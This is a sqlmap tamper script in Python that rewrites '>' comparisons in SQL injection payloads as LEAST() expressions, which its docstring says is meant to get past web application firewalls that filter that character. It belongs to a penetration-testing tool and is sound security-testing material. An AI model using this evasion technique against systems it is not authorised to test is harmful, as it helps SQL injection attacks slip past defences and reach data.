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#!/usr/bin/env python
"""
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Replaces greater than operator ('>') with 'LEAST' counterpart
Tested against:
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Notes:
* Useful to bypass weak and bespoke web application firewalls that
filter the greater than character
* The LEAST clause is a widespread SQL command. Hence, this
tamper script should work against majority of databases
>>> tamper('1 AND A > B')
'1 AND LEAST(A,B+1)=B+1'
"""
retVal = payload
if payload:
match = re.search(r"(?i)(\b(AND|OR)\b\s+)([^>]+?)\s*>\s*(\w+|'[^']+')", payload)
if match:
_ = "%sLEAST(%s,%s+1)=%s+1" % (match.group(1), match.group(3), match.group(4), match.group(4))
retVal = retVal.replace(match.group(0), _)
return retVal
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